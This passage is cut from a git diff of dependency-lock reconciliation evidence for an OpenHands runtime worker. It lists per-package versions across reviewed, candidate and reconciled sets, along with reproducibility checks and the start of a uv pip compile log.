\"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-spritekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"13.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-storekit", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"11.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-symbols", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"23.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-syncservices", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-systemconfiguration", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-systemextensions", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"19.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-threadnetwork", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"22.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-uniformtypeidentifiers", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-usernotifications", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-usernotificationsui", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-videosubscriberaccount", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"18.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-videotoolbox", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"12.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-virtualization", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"20.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-vision", + "marker": "platform_machine == \"x86_64\" and platform_release >= \"17.0\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + }, + { + "name": "pyobjc-framework-webkit", + "marker": "platform_machine == \"x86_64\" and platform_system == \"darwin\" and sys_platform == \"linux\"" + } + ] + }, + { + "role": "candidate_input", + "requirements": 176, + "selected": 176, + "excluded": [] + }, + { + "role": "reconciled", + "requirements": 176, + "selected": 176, + "excluded": [] + } + ], + "dependencies": [ + { + "name": "agent-client-protocol", + "reviewed_main": "0.12.1", + "candidate_input": "0.12.1", + "reconciled": "0.12.1", + "main_change": "unchanged" + }, + { + "name": "aiofile", + "reviewed_main": "3.9.0", + "candidate_input": "3.9.0", + "reconciled": "3.9.0", + "main_change": "unchanged" + }, + { + "name": "aiofiles", + "reviewed_main": "25.1.0", + "candidate_input": "25.1.0", + "reconciled": "25.1.0", + "main_change": "unchanged" + }, + { + "name": "aiohappyeyeballs", + "reviewed_main": "2.6.1", + "candidate_input": "2.6.1", + "reconciled": "2.6.1", + "main_change": "unchanged" + }, + { + "name": "aiohttp", + "reviewed_main": "3.14.3", + "candidate_input": "3.14.3", + "reconciled": "3.14.3", + "main_change": "unchanged" + }, + { + "name": "aiosignal", + "reviewed_main": "1.4.0", + "candidate_input": "1.4.0", + "reconciled": "1.4.0", + "main_change": "unchanged" + }, + { + "name": "annotated-types", + "reviewed_main": "0.7.0", + "candidate_input": "0.7.0", + "reconciled": "0.7.0", + "main_change": "unchanged" + }, + { + "name": "anthropic", + "reviewed_main": "0.75.0", + "candidate_input": "0.75.0", + "reconciled": "0.75.0", + "main_change": "unchanged" + }, + { + "name": "anyio", + "reviewed_main": "4.14.2", + "candidate_input": "4.14.2", + "reconciled": "4.14.2", + "main_change": "unchanged" + }, + { + "name": "attrs", + "reviewed_main": "25.3.0", + "candidate_input": "25.3.0", + "reconciled": "25.3.0", + "main_change": "unchanged" + }, + { + "name": "authlib", + "reviewed_main": "1.6.12", + "candidate_input": "1.6.12", + "reconciled": "1.6.12", + "main_change": "unchanged" + }, + { + "name": "backoff", + "reviewed_main": "2.2.1", + "candidate_input": "2.2.1", + "reconciled": "2.2.1", + "main_change": "unchanged" + }, + { + "name": "beartype", + "reviewed_main": "0.22.9", + "candidate_input": "0.22.9", + "reconciled": "0.22.9", + "main_change": "unchanged" + }, + { + "name": "beautifulsoup4", + "reviewed_main": "4.14.2", + "candidate_input": "4.14.2", + "reconciled": "4.14.2", + "main_change": "unchanged" + }, + { + "name": "binaryornot", + "reviewed_main": "0.4.4", + "candidate_input": "0.4.4", + "reconciled": "0.4.4", + "main_change": "unchanged" + }, + { + "name": "blake3", + "reviewed_main": "1.0.9", + "candidate_input": "1.0.9", + "reconciled": "1.0.9", + "main_change": "unchanged" + }, + { + "name": "browser-use", + "reviewed_main": "0.11.9", + "candidate_input": "0.11.9", + "reconciled": "0.11.9", + "main_change": "unchanged" + }, + { + "name": "browser-use-sdk", + "reviewed_main": "2.0.15", + "candidate_input": "2.0.15", + "reconciled": "2.0.15", + "main_change": "unchanged" + }, + { + "name": "bubus", + "reviewed_main": "1.5.6", + "candidate_input": "1.5.6", + "reconciled": "1.5.6", + "main_change": "unchanged" + }, + { + "name": "cachetools", + "reviewed_main": "7.1.8", + "candidate_input": "7.1.8", + "reconciled": "7.1.8", + "main_change": "unchanged" + }, + { + "name": "caio", + "reviewed_main": "0.9.25", + "candidate_input": "0.9.25", + "reconciled": "0.9.25", + "main_change": "unchanged" + }, + { + "name": "cdp-use", + "reviewed_main": "1.4.4", + "candidate_input": "1.4.4", + "reconciled": "1.4.4", + "main_change": "unchanged" + }, + { + "name": "certifi", + "reviewed_main": "2025.8.3", + "candidate_input": "2025.8.3", + "reconciled": "2025.8.3", + "main_change": "unchanged" + }, + { + "name": "cffi", + "reviewed_main": "2.0.0", + "candidate_input": "2.0.0", + "reconciled": "2.0.0", + "main_change": "unchanged" + }, + { + "name": "chardet", + "reviewed_main": "5.2.0", + "candidate_input": "5.2.0", + "reconciled": "5.2.0", + "main_change": "unchanged" + }, + { + "name": "charset-normalizer", + "reviewed_main": "3.4.3", + "candidate_input": "3.4.3", + "reconciled": "3.4.3", + "main_change": "unchanged" + }, + { + "name": "click", + "reviewed_main": "8.5.0", + "candidate_input": "8.3.3", + "reconciled": "8.5.0", + "main_change": "unchanged" + }, + { + "name": "cloudpickle", + "reviewed_main": "3.1.2", + "candidate_input": "3.1.2", + "reconciled": "3.1.2", + "main_change": "unchanged" + }, + { + "name": "cryptography", + "reviewed_main": "50.0.0", + "candidate_input": "50.0.0", + "reconciled": "50.0.0", + "main_change": "unchanged" + }, + { + "name": "cyclopts", + "reviewed_main": "4.6.0", + "candidate_input": "4.6.0", + "reconciled": "4.6.0", + "main_change": "unchanged" + }, + { + "name": "deprecation", + "reviewed_main": "2.1.0", + "candidate_input": "2.1.0", + "reconciled": "2.1.0", + "main_change": "unchanged" + }, + { + "name": "distro", + "reviewed_main": "1.9.0", + "candidate_input": "1.9.0", + "reconciled": "1.9.0", + "main_change": "unchanged" + }, + { + "name": "dnspython", + "reviewed_main": "2.8.0", + "candidate_input": "2.8.0", + "reconciled": "2.8.0", + "main_change": "unchanged" + }, + { + "name": "docstring-parser", + "reviewed_main": "0.17.0", + "candidate_input": "0.17.0", + "reconciled": "0.17.0", + "main_change": "unchanged" + }, + { + "name": "docutils", + "reviewed_main": "0.22.2", + "candidate_input": "0.22.2", + "reconciled": "0.22.2", + "main_change": "unchanged" + }, + { + "name": "email-validator", + "reviewed_main": "2.3.0", + "candidate_input": "2.3.0", + "reconciled": "2.3.0", + "main_change": "unchanged" + }, + { + "name": "exceptiongroup", + "reviewed_main": "1.3.0", + "candidate_input": "1.3.0", + "reconciled": "1.3.0", + "main_change": "unchanged" + }, + { + "name": "fakeredis", + "reviewed_main": "2.34.1", + "candidate_input": "2.34.1", + "reconciled": "2.34.1", + "main_change": "unchanged" + }, + { + "name": "fastmcp", + "reviewed_main": "3.2.0", + "candidate_input": "3.2.0", + "reconciled": "3.2.0", + "main_change": "unchanged" + }, + { + "name": "fastuuid", + "reviewed_main": "0.14.0", + "candidate_input": "0.14.0", + "reconciled": "0.14.0", + "main_change": "unchanged" + }, + { + "name": "filelock", + "reviewed_main": "3.20.3", + "candidate_input": "3.20.3", + "reconciled": "3.20.3", + "main_change": "unchanged" + }, + { + "name": "frozenlist", + "reviewed_main": "1.8.0", + "candidate_input": "1.8.0", + "reconciled": "1.8.0", + "main_change": "unchanged" + }, + { + "name": "fsspec", + "reviewed_main": "2025.9.0", + "candidate_input": "2025.9.0", + "reconciled": "2025.9.0", + "main_change": "unchanged" + }, + { + "name": "func-timeout", + "reviewed_main": "4.3.5", + "candidate_input": "4.3.5", + "reconciled": "4.3.5", + "main_change": "unchanged" + }, + { + "name": "google-api-core", + "reviewed_main": "2.31.0", + "candidate_input": "2.31.0", + "reconciled": "2.31.0", + "main_change": "unchanged" + }, + { + "name": "google-api-python-client", + "reviewed_main": "2.184.0", + "candidate_input": "2.184.0", + "reconciled": "2.184.0", + "main_change": "unchanged" + }, + { + "name": "google-auth", + "reviewed_main": "2.53.0", + "candidate_input": "2.53.0", + "reconciled": "2.53.0", + "main_change": "unchanged" + }, + { + "name": "google-auth-httplib2", + "reviewed_main": "0.2.0", + "candidate_input": "0.2.0", + "reconciled": "0.2.0", + "main_change": "unchanged" + }, + { + "name": "google-auth-oauthlib", + "reviewed_main": "1.2.2", + "candidate_input": "1.2.2", + "reconciled": "1.2.2", + "main_change": "unchanged" + }, + { + "name": "google-genai", + "reviewed_main": "1.75.0", + "candidate_input": "1.75.0", + "reconciled": "1.75.0", + "main_change": "unchanged" + }, + { + "name": "googleapis-common-protos", + "reviewed_main": "1.70.0", + "candidate_input": "1.70.0", + "reconciled": "1.70.0", + "main_change": "unchanged" + }, + { + "name": "groq", + "reviewed_main": "0.32.0", + "candidate_input": "0.32.0", + "reconciled": "0.32.0", + "main_change": "unchanged" + }, + { + "name": "grpcio", + "reviewed_main": "1.76.0", + "candidate_input": "1.76.0", + "reconciled": "1.76.0", + "main_change": "unchanged" + }, + { + "name": "h11", + "reviewed_main": "0.16.0", + "candidate_input": "0.16.0", + "reconciled": "0.16.0", + "main_change": "unchanged" + }, + { + "name": "hf-xet", + "reviewed_main": "1.1.10", + "candidate_input": "1.1.10", + "reconciled": "1.1.10", + "main_change": "unchanged" + }, + { + "name": "httpcore", + "reviewed_main": "1.0.9", + "candidate_input": "1.0.9", + "reconciled": "1.0.9", + "main_change": "unchanged" + }, + { + "name": "httplib2", + "reviewed_main": "0.32.0", + "candidate_input": "0.32.0", + "reconciled": "0.32.0", + "main_change": "unchanged" + }, + { + "name": "httpx", + "reviewed_main": "0.28.1", + "candidate_input": "0.28.1", + "reconciled": "0.28.1", + "main_change": "unchanged" + }, + { + "name": "httpx-sse", + "reviewed_main": "0.4.3", + "candidate_input": "0.4.3", + "reconciled": "0.4.3", + "main_change": "unchanged" + }, + { + "name": "huggingface-hub", + "reviewed_main": "0.35.3", + "candidate_input": "0.35.3", + "reconciled": "0.35.3", + "main_change": "unchanged" + }, + { + "name": "idna", + "reviewed_main": "3.15", + "candidate_input": "3.15", + "reconciled": "3.15", + "main_change": "unchanged" + }, + { + "name": "importlib-metadata", + "reviewed_main": "8.5.0", + "candidate_input": "8.5.0", + "reconciled": "8.5.0", + "main_change": "unchanged" + }, + { + "name": "inquirerpy", + "reviewed_main": "0.3.4", + "candidate_input": "0.3.4", + "reconciled": "0.3.4", + "main_change": "unchanged" + }, + { + "name": "jaraco-classes", + "reviewed_main": "3.4.0", + "candidate_input": "3.4.0", + "reconciled": "3.4.0", + "main_change": "unchanged" + }, + { + "name": "jaraco-context", + "reviewed_main": "6.1.0", + "candidate_input": "6.1.0", + "reconciled": "6.1.0", + "main_change": "unchanged" + }, + { + "name": "jaraco-functools", + "reviewed_main": "4.4.0", + "candidate_input": "4.4.0", + "reconciled": "4.4.0", + "main_change": "unchanged" + }, + { + "name": "jeepney", + "reviewed_main": "0.9.0", + "candidate_input": "0.9.0", + "reconciled": "0.9.0", + "main_change": "unchanged" + }, + { + "name": "jinja2", + "reviewed_main": "3.1.6", + "candidate_input": "3.1.6", + "reconciled": "3.1.6", + "main_change": "unchanged" + }, + { + "name": "jiter", + "reviewed_main": "0.11.0", + "candidate_input": "0.11.0", + "reconciled": "0.11.0", + "main_change": "unchanged" + }, + { + "name": "joserfc", + "reviewed_main": "1.7.5", + "candidate_input": "1.7.5", + "reconciled": "1.7.5", + "main_change": "unchanged" + }, + { + "name": "json-repair", + "reviewed_main": "0.60.1", + "candidate_input": "0.60.1", + "reconciled": "0.60.1", + "main_change": "unchanged" + }, + { + "name": "jsonref", + "reviewed_main": "1.1.0", + "candidate_input": "1.1.0", + "reconciled": "1.1.0", + "main_change": "unchanged" + }, + { + "name": "jsonschema", + "reviewed_main": "4.23.0", + "candidate_input": "4.23.0", + "reconciled": "4.23.0", + "main_change": "unchanged" + }, + { + "name": "jsonschema-path", + "reviewed_main": "0.3.4", + "candidate_input": "0.3.4", + "reconciled": "0.3.4", + "main_change": "unchanged" + }, + { + "name": "jsonschema-specifications", + "reviewed_main": "2025.9.1", + "candidate_input": "2025.9.1", + "reconciled": "2025.9.1", + "main_change": "unchanged" + }, + { + "name": "keyring", + "reviewed_main": "25.7.0", + "candidate_input": "25.7.0", + "reconciled": "25.7.0", + "main_change": "unchanged" + }, + { + "name": "libtmux", + "reviewed_main": "0.53.0", + "candidate_input": "0.53.0", + "reconciled": "0.53.0", + "main_change": "unchanged" + }, + { + "name": "litellm", + "reviewed_main": "1.93.0", + "candidate_input": "1.93.0", + "reconciled": "1.93.0", + "main_change": "unchanged" + }, + { + "name": "lmnr", + "reviewed_main": "0.7.60", + "candidate_input": "0.7.60", + "reconciled": "0.7.60", + "main_change": "unchanged" + }, + { + "name": "lmnr-claude-code-proxy", + "reviewed_main": "0.1.23", + "candidate_input": "0.1.23", + "reconciled": "0.1.23", + "main_change": "unchanged" + }, + { + "name": "lupa", + "reviewed_main": "2.8", + "candidate_input": "2.8", + "reconciled": "2.8", + "main_change": "unchanged" + }, + { + "name": "lxml", + "reviewed_main": "6.1.0", + "candidate_input": "6.1.0", + "reconciled": "6.1.0", + "main_change": "unchanged" + }, + { + "name": "markdown-it-py", + "reviewed_main": "4.0.0", + "candidate_input": "4.0.0", + "reconciled": "4.0.0", + "main_change": "unchanged" + }, + { + "name": "markdownify", + "reviewed_main": "1.2.0", + "candidate_input": "1.2.0", + "reconciled": "1.2.0", + "main_change": "unchanged" + }, + { + "name": "markupsafe", + "reviewed_main": "3.0.2", + "candidate_input": "3.0.2", + "reconciled": "3.0.2", + "main_change": "unchanged" + }, + { + "name": "mcp", + "reviewed_main": "1.28.1", + "candidate_input": "1.28.1", + "reconciled": "1.28.1", + "main_change": "unchanged" + }, + { + "name": "mdurl", + "reviewed_main": "0.1.2", + "candidate_input": "0.1.2", + "reconciled": "0.1.2", + "main_change": "unchanged" + }, + { + "name": "more-itertools", + "reviewed_main": "10.8.0", + "candidate_input": "10.8.0", + "reconciled": "10.8.0", + "main_change": "unchanged" + }, + { + "name": "multidict", + "reviewed_main": "6.7.0", + "candidate_input": "6.7.0", + "reconciled": "6.7.0", + "main_change": "unchanged" + }, + { + "name": "oauthlib", + "reviewed_main": "3.3.1", + "candidate_input": "3.3.1", + "reconciled": "3.3.1", + "main_change": "unchanged" + }, + { + "name": "ollama", + "reviewed_main": "0.6.0", + "candidate_input": "0.6.0", + "reconciled": "0.6.0", + "main_change": "unchanged" + }, + { + "name": "openai", + "reviewed_main": "2.33.0", + "candidate_input": "2.33.0", + "reconciled": "2.33.0", + "main_change": "unchanged" + }, + { + "name": "openapi-pydantic", + "reviewed_main": "0.5.1", + "candidate_input": "0.5.1", + "reconciled": "0.5.1", + "main_change": "unchanged" + }, + { + "name": "openhands-sdk", + "reviewed_main": "1.49.6", + "candidate_input": "1.50.0", + "reconciled": "1.50.0", + "main_change": "sdk_upgrade" + }, + { + "name": "openhands-tools", + "reviewed_main": "1.49.6", + "candidate_input": "1.50.0", + "reconciled": "1.50.0", + "main_change": "sdk_upgrade" + }, + { + "name": "opentelemetry-api", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-exporter-otlp-proto-common", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-exporter-otlp-proto-grpc", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-exporter-otlp-proto-http", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-instrumentation", + "reviewed_main": "0.60b1", + "candidate_input": "0.60b1", + "reconciled": "0.60b1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-instrumentation-threading", + "reviewed_main": "0.60b1", + "candidate_input": "0.60b1", + "reconciled": "0.60b1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-proto", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-sdk", + "reviewed_main": "1.39.1", + "candidate_input": "1.39.1", + "reconciled": "1.39.1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-semantic-conventions", + "reviewed_main": "0.60b1", + "candidate_input": "0.60b1", + "reconciled": "0.60b1", + "main_change": "unchanged" + }, + { + "name": "opentelemetry-semantic-conventions-ai", + "reviewed_main": "0.4.13", + "candidate_input": "0.4.13", + "reconciled": "0.4.13", + "main_change": "unchanged" + }, + { + "name": "orjson", + "reviewed_main": "3.11.7", + "candidate_input": "3.11.7", + "reconciled": "3.11.7", + "main_change": "unchanged" + }, + { + "name": "packaging", + "reviewed_main": "26.3", + "candidate_input": "26.3", + "reconciled": "26.3", + "main_change": "unchanged" + }, + { + "name": "pathable", + "reviewed_main": "0.4.4", + "candidate_input": "0.4.4", + "reconciled": "0.4.4", + "main_change": "unchanged" + }, + { + "name": "pfzy", + "reviewed_main": "0.3.4", + "candidate_input": "0.3.4", + "reconciled": "0.3.4", + "main_change": "unchanged" + }, + { + "name": "pillow", + "reviewed_main": "12.3.0", + "candidate_input": "12.3.0", + "reconciled": "12.3.0", + "main_change": "unchanged" + }, + { + "name": "platformdirs", + "reviewed_main": "4.4.0", + "candidate_input": "4.4.0", + "reconciled": "4.4.0", + "main_change": "unchanged" + }, + { + "name": "portalocker", + "reviewed_main": "2.10.1", + "candidate_input": "2.10.1", + "reconciled": "2.10.1", + "main_change": "unchanged" + }, + { + "name": "posthog", + "reviewed_main": "6.7.7", + "candidate_input": "6.7.7", + "reconciled": "6.7.7", + "main_change": "unchanged" + }, + { + "name": "prompt-toolkit", + "reviewed_main": "3.0.52", + "candidate_input": "3.0.52", + "reconciled": "3.0.52", + "main_change": "unchanged" + }, + { + "name": "propcache", + "reviewed_main": "0.4.1", + "candidate_input": "0.4.1", + "reconciled": "0.4.1", + "main_change": "unchanged" + }, + { + "name": "proto-plus", + "reviewed_main": "1.26.1", + "candidate_input": "1.26.1", + "reconciled": "1.26.1", + "main_change": "unchanged" + }, + { + "name": "protobuf", + "reviewed_main": "6.33.5", + "candidate_input": "6.33.5", + "reconciled": "6.33.5", + "main_change": "unchanged" + }, + { + "name": "psutil", + "reviewed_main": "7.2.2", + "candidate_input": "7.2.2", + "reconciled": "7.2.2", + "main_change": "unchanged" + }, + { + "name": "py-key-value-aio", + "reviewed_main": "0.4.4", + "candidate_input": "0.4.4", + "reconciled": "0.4.4", + "main_change": "unchanged" + }, + { + "name": "pyasn1", + "reviewed_main": "0.6.4", + "candidate_input": "0.6.4", + "reconciled": "0.6.4", + "main_change": "unchanged" + }, + { + "name": "pyasn1-modules", + "reviewed_main": "0.4.2", + "candidate_input": "0.4.2", + "reconciled": "0.4.2", + "main_change": "unchanged" + }, + { + "name": "pycparser", + "reviewed_main": "2.23", + "candidate_input": "2.23", + "reconciled": "2.23", + "main_change": "unchanged" + }, + { + "name": "pydantic", + "reviewed_main": "2.12.5", + "candidate_input": "2.12.5", + "reconciled": "2.12.5", + "main_change": "unchanged" + }, + { + "name": "pydantic-core", + "reviewed_main": "2.41.5", + "candidate_input": "2.41.5", + "reconciled": "2.41.5", + "main_change": "unchanged" + }, + { + "name": "pydantic-settings", + "reviewed_main": "2.11.0", + "candidate_input": "2.11.0", + "reconciled": "2.11.0", + "main_change": "unchanged" + }, + { + "name": "pygments", + "reviewed_main": "2.20.0", + "candidate_input": "2.20.0", + "reconciled": "2.20.0", + "main_change": "unchanged" + }, + { + "name": "pyjwt", + "reviewed_main": "2.14.0", + "candidate_input": "2.14.0", + "reconciled": "2.14.0", + "main_change": "unchanged" + }, + { + "name": "pyotp", + "reviewed_main": "2.9.0", + "candidate_input": "2.9.0", + "reconciled": "2.9.0", + "main_change": "unchanged" + }, + { + "name": "pyparsing", + "reviewed_main": "3.2.5", + "candidate_input": "3.2.5", + "reconciled": "3.2.5", + "main_change": "unchanged" + }, + { + "name": "pypdf", + "reviewed_main": "6.19.0", + "candidate_input": "6.16.1", + "reconciled": "6.19.0", + "main_change": "unchanged" + }, + { + "name": "pyperclip", + "reviewed_main": "1.11.0", + "candidate_input": "1.11.0", + "reconciled": "1.11.0", + "main_change": "unchanged" + }, + { + "name": "python-dateutil", + "reviewed_main": "2.9.0.post0", + "candidate_input": "2.9.0.post0", + "reconciled": "2.9.0.post0", + "main_change": "unchanged" + }, + { + "name": "python-docx", + "reviewed_main": "1.2.0", + "candidate_input": "1.2.0", + "reconciled": "1.2.0", + "main_change": "unchanged" + }, + { + "name": "python-dotenv", + "reviewed_main": "1.2.2", + "candidate_input": "1.2.2", + "reconciled": "1.2.2", + "main_change": "unchanged" + }, + { + "name": "python-frontmatter", + "reviewed_main": "1.1.0", + "candidate_input": "1.1.0", + "reconciled": "1.1.0", + "main_change": "unchanged" + }, + { + "name": "python-json-logger", + "reviewed_main": "4.0.0", + "candidate_input": "4.0.0", + "reconciled": "4.0.0", + "main_change": "unchanged" + }, + { + "name": "python-multipart", + "reviewed_main": "0.0.31", + "candidate_input": "0.0.31", + "reconciled": "0.0.31", + "main_change": "unchanged" + }, + { + "name": "pyyaml", + "reviewed_main": "6.0.2", + "candidate_input": "6.0.2", + "reconciled": "6.0.2", + "main_change": "unchanged" + }, + { + "name": "redis", + "reviewed_main": "7.2.1", + "candidate_input": "7.2.1", + "reconciled": "7.2.1", + "main_change": "unchanged" + }, + { + "name": "referencing", + "reviewed_main": "0.36.2", + "candidate_input": "0.36.2", + "reconciled": "0.36.2", + "main_change": "unchanged" + }, + { + "name": "regex", + "reviewed_main": "2025.9.18", + "candidate_input": "2025.9.18", + "reconciled": "2025.9.18", + "main_change": "unchanged" + }, + { + "name": "reportlab", + "reviewed_main": "4.4.4", + "candidate_input": "4.4.4", + "reconciled": "4.4.4", + "main_change": "unchanged" + }, + { + "name": "requests", + "reviewed_main": "2.33.0", + "candidate_input": "2.33.0", + "reconciled": "2.33.0", + "main_change": "unchanged" + }, + { + "name": "requests-oauthlib", + "reviewed_main": "2.0.0", + "candidate_input": "2.0.0", + "reconciled": "2.0.0", + "main_change": "unchanged" + }, + { + "name": "rich", + "reviewed_main": "14.3.3", + "candidate_input": "14.3.3", + "reconciled": "14.3.3", + "main_change": "unchanged" + }, + { + "name": "rich-rst", + "reviewed_main": "1.3.2", + "candidate_input": "1.3.2", + "reconciled": "1.3.2", + "main_change": "unchanged" + }, + { + "name": "rpds-py", + "reviewed_main": "0.27.1", + "candidate_input": "0.27.1", + "reconciled": "0.27.1", + "main_change": "unchanged" + }, + { + "name": "screeninfo", + "reviewed_main": "0.8.1", + "candidate_input": "0.8.1", + "reconciled": "0.8.1", + "main_change": "unchanged" + }, + { + "name": "secretstorage", + "reviewed_main": "3.5.0", + "candidate_input": "3.5.0", + "reconciled": "3.5.0", + "main_change": "unchanged" + }, + { + "name": "six", + "reviewed_main": "1.17.0", + "candidate_input": "1.17.0", + "reconciled": "1.17.0", + "main_change": "unchanged" + }, + { + "name": "sniffio", + "reviewed_main": "1.3.1", + "candidate_input": "1.3.1", + "reconciled": "1.3.1", + "main_change": "unchanged" + }, + { + "name": "socksio", + "reviewed_main": "1.0.0", + "candidate_input": "1.0.0", + "reconciled": "1.0.0", + "main_change": "unchanged" + }, + { + "name": "sortedcontainers", + "reviewed_main": "2.4.0", + "candidate_input": "2.4.0", + "reconciled": "2.4.0", + "main_change": "unchanged" + }, + { + "name": "soupsieve", + "reviewed_main": "2.9.2", + "candidate_input": "2.9", + "reconciled": "2.9.2", + "main_change": "unchanged" + }, + { + "name": "sse-starlette", + "reviewed_main": "3.0.2", + "candidate_input": "3.0.2", + "reconciled": "3.0.2", + "main_change": "unchanged" + }, + { + "name": "starlette", + "reviewed_main": "1.3.1", + "candidate_input": "1.3.1", + "reconciled": "1.3.1", + "main_change": "unchanged" + }, + { + "name": "tenacity", + "reviewed_main": "9.1.2", + "candidate_input": "9.1.2", + "reconciled": "9.1.2", + "main_change": "unchanged" + }, + { + "name": "tiktoken", + "reviewed_main": "0.12.0", + "candidate_input": "0.12.0", + "reconciled": "0.12.0", + "main_change": "unchanged" + }, + { + "name": "tokenizers", + "reviewed_main": "0.23.1", + "candidate_input": "0.23.1", + "reconciled": "0.23.1", + "main_change": "unchanged" + }, + { + "name": "tom-swe", + "reviewed_main": "1.0.3", + "candidate_input": "1.0.3", + "reconciled": "1.0.3", + "main_change": "unchanged" + }, + { + "name": "tqdm", + "reviewed_main": "4.67.1", + "candidate_input": "4.67.1", + "reconciled": "4.67.1", + "main_change": "unchanged" + }, + { + "name": "tree-sitter", + "reviewed_main": "0.25.2", + "candidate_input": "0.25.2", + "reconciled": "0.25.2", + "main_change": "unchanged" + }, + { + "name": "tree-sitter-bash", + "reviewed_main": "0.25.1", + "candidate_input": "0.25.1", + "reconciled": "0.25.1", + "main_change": "unchanged" + }, + { + "name": "typing-extensions", + "reviewed_main": "4.15.0", + "candidate_input": "4.15.0", + "reconciled": "4.15.0", + "main_change": "unchanged" + }, + { + "name": "typing-inspection", + "reviewed_main": "0.4.2", + "candidate_input": "0.4.2", + "reconciled": "0.4.2", + "main_change": "unchanged" + }, + { + "name": "uncalled-for", + "reviewed_main": "0.2.0", + "candidate_input": "0.2.0", + "reconciled": "0.2.0", + "main_change": "unchanged" + }, + { + "name": "uritemplate", + "reviewed_main": "4.2.0", + "candidate_input": "4.2.0", + "reconciled": "4.2.0", + "main_change": "unchanged" + }, + { + "name": "urllib3", + "reviewed_main": "2.7.0", + "candidate_input": "2.7.0", + "reconciled": "2.7.0", + "main_change": "unchanged" + }, + { + "name": "uuid7", + "reviewed_main": "0.1.0", + "candidate_input": "0.1.0", + "reconciled": "0.1.0", + "main_change": "unchanged" + }, + { + "name": "uvicorn", + "reviewed_main": "0.52.4", + "candidate_input": "0.52.4", + "reconciled": "0.52.4", + "main_change": "unchanged" + }, + { + "name": "watchfiles", + "reviewed_main": "1.1.1", + "candidate_input": "1.1.1", + "reconciled": "1.1.1", + "main_change": "unchanged" + }, + { + "name": "wcwidth", + "reviewed_main": "0.2.14", + "candidate_input": "0.2.14", + "reconciled": "0.2.14", + "main_change": "unchanged" + }, + { + "name": "websockets", + "reviewed_main": "15.0.1", + "candidate_input": "15.0.1", + "reconciled": "15.0.1", + "main_change": "unchanged" + }, + { + "name": "wrapt", + "reviewed_main": "1.17.3", + "candidate_input": "1.17.3", + "reconciled": "1.17.3", + "main_change": "unchanged" + }, + { + "name": "yarl", + "reviewed_main": "1.22.0", + "candidate_input": "1.22.0", + "reconciled": "1.22.0", + "main_change": "unchanged" + }, + { + "name": "zipp", + "reviewed_main": "3.23.0", + "candidate_input": "3.23.0", + "reconciled": "3.23.0", + "main_change": "unchanged" + } + ], + "main_selected_additions": [], + "main_selected_removals": [], + "main_selected_downgrades": [], + "installed_version_mismatches": [], + "source_required_downgrades": [], + "fresh_extraction_checks": [ + { + "extraction": "source", + "original_regular_files_compared": 1800, + "mismatches": [] + }, + { + "extraction": "source-repro", + "original_regular_files_compared": 1800, + "mismatches": [] + } + ], + "native_compile_reproduction_byte_identical": true, + "reproduced_lock_sha256": "383ccc5b87702174e471732872f002f1621186710402d048acc2b1910306e106" +} diff --git a/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-extraction-reproduction.txt b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-extraction-reproduction.txt new file mode 100644 index 000000000..e533cb826 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-extraction-reproduction.txt @@ -0,0 +1,3060 @@ +$ ["rtk", "uv", "pip", "compile", "/requirements.in", "--constraints", "/reviewed-main-constraints.txt", "--generate-hashes", "--no-header", "--no-annotate", "--index-url", "https://pypi.org/simple", "--python-version", "3.13.15", "--python-platform", "x86_64-unknown-linux-gnu", "--exclude-newer", "7 days", "--exclude-newer-package", "litellm=2026-07-20T00:00:00Z", "--exclude-newer-package", "lmnr=2026-08-23T00:00:00Z", "--output-file", "/reproduced.lock"] +agent-client-protocol==0.12.1 \ + 